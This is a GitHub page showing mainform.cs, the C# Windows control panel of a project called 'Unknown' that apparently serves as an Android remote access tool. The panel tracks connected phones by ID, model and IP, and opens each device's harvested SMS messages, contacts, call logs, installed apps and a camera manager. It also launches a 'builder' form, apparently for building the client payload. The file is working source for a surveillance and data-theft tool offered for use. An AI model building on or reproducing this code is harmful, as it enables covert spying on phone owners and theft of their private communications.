-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmainform.cs
More file actions
524 lines (456 loc) · 19.7 KB
/
Copy pathmainform.cs
File metadata and controls
524 lines (456 loc) · 19.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Diagnostics;
using System.IO;
using Microsoft.VisualBasic.Logging;
//The concept and idea for the Unknown application belong entirely to Rafig Zarbaliyev!
//If there is an error in the app or if you have any suggestions for additional features, please message me on Instagram(@rafok2v9c)
namespace Unknown
{
public partial class mainform : Form
{
private PerformanceCounter cpuCounter;
private PerformanceCounter ramCounter;
private Timer timer;
public mainform()
{
InitializeComponent();
this.Icon = Icon.ExtractAssociatedIcon(Application.ExecutablePath);
cpuCounter = new PerformanceCounter("Processor", "% Processor Time", "_Total");
ramCounter = new PerformanceCounter("Memory", "Available MBytes");
listViewdevices.ContextMenuStrip = contextMenuStrip1;
this.caToolStripMenuItem.Click += caToolStripMenuItem_Click;
this.contactsToolStripMenuItem.Click += contactsToolStripMenuItem_Click;
this.applicationsToolStripMenuItem.Click += applicationsToolStripMenuItem_Click;
// Timer'i baslat
timer = new Timer();
timer.Interval = 1000; // 1 saniyede bir guncelle
timer.Tick += Timer_Tick;
timer.Start();
// Socket event'lerini bagla
// Soket hadiselerini bagla
socket.DeviceInfoReceived += Socket_DeviceInfoReceived;
socket.ClientDisconnected += Socket_ClientDisconnected;
this.MaximizeBox = false;
portform pf = new portform(this); // "this" = mainform-u gonder
pf.ShowDialog(); // Dialog kimi ac
// portform baglananda bura qayidacaq ve mainform gorsenecek
}
// Soketden cihaz melumati gelende
private void Socket_DeviceInfoReceived(object sender, DeviceInfo deviceInfo)
{
// UI thread-de isled
DebugLogger.LogEvent("Socket_DeviceInfoReceived", deviceInfo?.DeviceID ?? "<null>");
if (listViewdevices.InvokeRequired)
{
listViewdevices.Invoke(new Action(() => Socket_DeviceInfoReceived(sender, deviceInfo)));
return;
}
try
{
// Eyni cihaz ID-sine malik cihaz var mi yoxla
ListViewItem existingItem = null;
foreach (ListViewItem item in listViewdevices.Items)
{
if (item.Tag != null && item.Tag.ToString() == deviceInfo.DeviceID)
{
existingItem = item;
break;
}
}
if (existingItem != null)
{
// Movcud cihazi yenile (stun deyismez)
// SubItems[0] = ROW, [1] = Name, [2] = Device, [3] = Model, [4] = Ver, [5] = IP, [6] = Status
// Evvelki statusu yoxla (Offline -> Online kecidi ucun ses)
string previousStatus = existingItem.SubItems.Count > 6 ? existingItem.SubItems[6].Text : "";
// Ad (ID-nin ilk 8 simvolu)
if (existingItem.SubItems.Count > 1) existingItem.SubItems[1].Text = deviceInfo.DeviceID.Substring(0, Math.Min(8, deviceInfo.DeviceID.Length));
// Cihaz
if (existingItem.SubItems.Count > 2) existingItem.SubItems[2].Text = deviceInfo.Manufacturer;
// Model
if (existingItem.SubItems.Count > 3) existingItem.SubItems[3].Text = deviceInfo.Model;
// Android Versiasi
if (existingItem.SubItems.Count > 4) existingItem.SubItems[4].Text = deviceInfo.AndroidVersion;
// IP Address
if (existingItem.SubItems.Count > 5) existingItem.SubItems[5].Text = deviceInfo.IPAddress;
// Status
if (existingItem.SubItems.Count > 6) existingItem.SubItems[6].Text = "Online";
// Status rengini yasil et
existingItem.ForeColor = Color.Black;
// Eger Offline-dan Online-a kecirse ses cal
if (previousStatus == "Offline")
{
PlayNotificationSound(true);
}
DebugLogger.LogEvent("DeviceUpdated", $"{deviceInfo.DeviceID} Status->Online");
}
else
{
// Yeni cihaz elave et
// ROW nomresini teyin et
string rowNumber = (listViewdevices.Items.Count + 1).ToString();
ListViewItem newItem = new ListViewItem(rowNumber); // Col 0: ROW
newItem.SubItems.Add(deviceInfo.DeviceID.Substring(0, Math.Min(8, deviceInfo.DeviceID.Length))); // Col 1: Name
newItem.SubItems.Add(deviceInfo.Manufacturer); // Col 2: Device
newItem.SubItems.Add(deviceInfo.Model); // Col 3: Model
newItem.SubItems.Add(deviceInfo.AndroidVersion); // Col 4: Android Version
newItem.SubItems.Add(deviceInfo.IPAddress); // Col 5: IP Address
newItem.SubItems.Add("Online"); // Col 6: Status
// Cihaz ID-ni tag olaraq saxla
newItem.Tag = deviceInfo.DeviceID;
listViewdevices.Items.Add(newItem);
// Ses cal (Online)
PlayNotificationSound(true);
// Yeni cihaz ucun qovluq yarat
DebugLogger.LogEvent("DeviceAdded", $"{deviceInfo.DeviceID} Folder:{deviceInfo.FolderPath}");
}
}
catch (Exception ex)
{
}
}
private void applicationsToolStripMenuItem_Click(object sender, EventArgs e)
{
string path = GetClientFilePath("applications.json");
string deviceName = GetSelectedDeviceName();
if (path != null)
{
DebugLogger.LogEvent("OpenForm", $"applicationsform {deviceName} {path}");
new applicationsform(deviceName, path).Show();
}
else
{
//MessageBox.Show("Please select a device first.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning);
}
}
// Soketden elaqe ksilende
private void Socket_ClientDisconnected(object sender, DeviceInfo deviceInfo)
{
DebugLogger.LogEvent("Socket_ClientDisconnected", deviceInfo?.DeviceID ?? "<null>");
if (listViewdevices.InvokeRequired)
{
listViewdevices.Invoke(new Action(() => Socket_ClientDisconnected(sender, deviceInfo)));
return;
}
try
{
foreach (ListViewItem item in listViewdevices.Items)
{
if (item.Tag != null && item.Tag.ToString() == deviceInfo.DeviceID)
{
// Statusu Offline et
if (item.SubItems.Count > 6)
{
item.SubItems[6].Text = "Offline";
item.ForeColor = Color.Red; // Offline oldugunu bildirmek ucun qirmizi et
// Ses cal (Offline)
PlayNotificationSound(false);
DebugLogger.LogEvent("DeviceOffline", deviceInfo.DeviceID);
}
break;
}
}
}
catch
{
}
}
private void listViewdevices_MouseDown(object sender, MouseEventArgs e)
{
if (e.Button == MouseButtons.Right)
{
ListViewItem item = listViewdevices.GetItemAt(e.X, e.Y);
if (item != null)
{
item.Selected = true;
contextMenuStrip1.Show(listViewdevices, e.Location);
}
}
}
// Yeni cihaz ucun qovluq yarat
private void CreateDeviceFolder(string modelName)
{
try
{
// Gecersiz fayl simvollarini temizle
string safeFolderName = string.Join("_", modelName.Split(Path.GetInvalidFileNameChars()));
// Qovluq yolunu yarat
string basePath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "res", "client");
string deviceFolderPath = Path.Combine(basePath, safeFolderName);
// Ana qovluqlari yarat (yoxdursa)
if (!Directory.Exists(basePath))
{
Directory.CreateDirectory(basePath);
}
// Cihaz qovlugunu yarat (yoxdursa)
if (!Directory.Exists(deviceFolderPath))
{
Directory.CreateDirectory(deviceFolderPath);
}
}
catch (Exception ex)
{
}
}
private void Timer_Tick(object sender, EventArgs e)
{
// CPU istifadesi
float cpuUsage = cpuCounter.NextValue();
labelcpu.Text = $"{cpuUsage:0.0}%";
// RAM istifadesi (Bos RAM)
float availableRAM = ramCounter.NextValue();
// Umumi RAM-i al
var totalRAM = GetTotalPhysicalMemory() / 1024 / 1024; // MB cinsinden
float usedRAM = totalRAM - availableRAM;
float ramUsagePercent = (usedRAM / totalRAM) * 100;
labelmemory.Text = $"{ramUsagePercent:0.0}%";
// Sokete gelen veri istifadesi (KB cinsinden)
long bytesReceived = socket.GetAndResetBytesReceived();
double kilobytes = bytesReceived / 1024.0;
labeldata.Text = $"{kilobytes:0.00} KB/s";
}
// Umumi RAM-i almaq ucun
private long GetTotalPhysicalMemory()
{
Microsoft.VisualBasic.Devices.ComputerInfo computerInfo = new Microsoft.VisualBasic.Devices.ComputerInfo();
return (long)computerInfo.TotalPhysicalMemory;
}
protected override void OnFormClosing(FormClosingEventArgs e)
{
base.OnFormClosing(e);
if (timer != null)
{
timer.Stop();
timer.Dispose();
}
if (cpuCounter != null) cpuCounter.Dispose();
if (ramCounter != null) ramCounter.Dispose();
}
private void caToolStripMenuItem_Click(object sender, EventArgs e)
{
string path = GetClientFilePath("calls.json");
string deviceName = GetSelectedDeviceName();
if (path != null)
{
DebugLogger.LogEvent("OpenForm", $"callsform {deviceName} {path}");
new callsform(deviceName, path).Show();
}
else
{
//MessageBox.Show("Please select a device first.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning);
}
}
private void contactsToolStripMenuItem_Click(object sender, EventArgs e)
{
string path = GetClientFilePath("contacts.json");
string deviceName = GetSelectedDeviceName();
if (path != null)
{
DebugLogger.LogEvent("OpenForm", $"contactsform {deviceName} {path}");
new contactsform(deviceName, path).Show();
}
else
{
//MessageBox.Show("Please select a device first.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning);
}
}
// SMS menyusu kliklenende
private void sMSToolStripMenuItem_Click(object sender, EventArgs e)
{
string path = GetClientFilePath("sms.json");
string deviceName = GetSelectedDeviceName();
if (path != null)
{
DebugLogger.LogEvent("OpenForm", $"smsform {deviceName} {path}");
new smsform(deviceName, path).Show();
}
else
{
//MessageBox.Show("Please select a device first.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning);
}
}
private string GetSelectedDeviceName()
{
if (listViewdevices.SelectedItems.Count > 0)
{
string model = listViewdevices.SelectedItems[0].SubItems.Count > 3 ? listViewdevices.SelectedItems[0].SubItems[3].Text : "Unknown";
string id = listViewdevices.SelectedItems[0].Tag?.ToString() ?? "";
return $"{model}_{id.Substring(0, Math.Min(6, id.Length))}";
}
return "Device";
}
private string GetClientFilePath(string fileName)
{
string folderPath = GetSelectedDeviceFolderPath();
if (!string.IsNullOrEmpty(folderPath))
{
return Path.Combine(folderPath, fileName);
}
return null;
}
private string GetSelectedDeviceFolderPath()
{
if (listViewdevices.SelectedItems.Count > 0)
{
string deviceID = listViewdevices.SelectedItems[0].Tag?.ToString();
if (!string.IsNullOrEmpty(deviceID))
{
// Soketden melumati almaga calis
DeviceInfo info = socket.GetDeviceInfo(deviceID);
if (info != null)
{
return info.FolderPath;
}
}
// Fallback: Model adindan qovluq tap
if (listViewdevices.SelectedItems[0].SubItems.Count > 3)
{
string model = listViewdevices.SelectedItems[0].SubItems[3].Text;
string safeModel = string.Join("_", model.Split(Path.GetInvalidFileNameChars()));
// ID-ni al
string fullId = listViewdevices.SelectedItems[0].Tag.ToString();
string shortId = fullId.Length > 6 ? fullId.Substring(0, 6) : fullId;
string folderName = safeModel + "_" + shortId;
return Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "res", "client", folderName);
}
}
return null;
}
private void OpenClientFile(string fileName)
{
string folderPath = GetSelectedDeviceFolderPath();
if (!string.IsNullOrEmpty(folderPath))
{
string filePath = Path.Combine(folderPath, fileName);
if (File.Exists(filePath))
{
try
{
Process.Start("notepad.exe", filePath);
}
catch { }
}
else
{
MessageBox.Show($"File not found: {fileName}\nWait for data to arrive.", "Info", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
}
}
private void OpenClientFolder()
{
string folderPath = GetSelectedDeviceFolderPath();
if (!string.IsNullOrEmpty(folderPath))
{
if (Directory.Exists(folderPath))
{
Process.Start("explorer.exe", folderPath);
}
}
}
private void mainform_Load(object sender, EventArgs e)
{
listViewdevices.View = View.Details;
listViewdevices.GridLines = true;
listViewdevices.FullRowSelect = true;
listViewdevices.Columns.Add("ROW", 50);
listViewdevices.Columns.Add("Name", 80);
listViewdevices.Columns.Add("Device", 80);
listViewdevices.Columns.Add("Model", 70);
listViewdevices.Columns.Add("Android Version", 90);
listViewdevices.Columns.Add("IP Address", 80);
listViewdevices.Columns.Add("Status", 150);
// Context Menu Baglantilari
listViewdevices.ContextMenuStrip = contextMenuStrip1;
cameraManagerToolStripMenuItem.Click += cameraManagerToolStripMenuItem_Click;
}
private void builderToolStripMenuItem_Click(object sender, EventArgs e)
{
builderform form = new builderform();
form.Show();
}
private void aboutToolStripMenuItem_Click(object sender, EventArgs e)
{
//aboutform frm = new aboutform();
//frm.Show();
}
private void aboutToolStripMenuItem1_Click(object sender, EventArgs e)
{
aboutform2 frm = new aboutform2();
frm.Show();
}
private void cameraManagerToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listViewdevices.SelectedItems.Count > 0)
{
// Tag icinde DeviceID saxlanir
string deviceID = listViewdevices.SelectedItems[0].Tag as string;
if (!string.IsNullOrEmpty(deviceID))
{
new cameraform(deviceID).Show();
}
}
else
{
// MessageBox.Show("Please select a device first.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Warning);
}
}
// WMP obyektini class seviyyesinde saxlayiriq ki GC terefinden silinmesin
private dynamic wmp;
private void PlayNotificationSound(bool isOnline)
{
try
{
string fileName = isOnline ? "notificationonline.mp3" : "notificationoffline.mp3";
string path = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "res", "sounds", fileName);
if (File.Exists(path))
{
// Windows Media Player-i dinamik olaraq yarat
Type wmpType = Type.GetTypeFromProgID("WMPlayer.OCX");
if (wmpType != null)
{
wmp = Activator.CreateInstance(wmpType);
wmp.URL = path;
wmp.settings.volume = 100; // Ses seviyyesi
wmp.controls.play();
}
}
else
{
//System.Media.SystemSounds.Beep.Play();
}
}
catch (Exception)
{
}
}
private void clientFolderToolStripMenuItem_Click(object sender, EventArgs e)
{
string path = Path.Combine(Application.StartupPath, "res", "Client");
if (Directory.Exists(path))
{
Process.Start("explorer.exe", path);
}
else
{
MessageBox.Show("Client folder not found!", "Error",
MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
private void usageToolStripMenuItem_Click(object sender, EventArgs e)
{
Process.Start(new ProcessStartInfo
{
FileName = "https://github.com/rafigk2v9c/Unknown",
UseShellExecute = true
});
}
}
}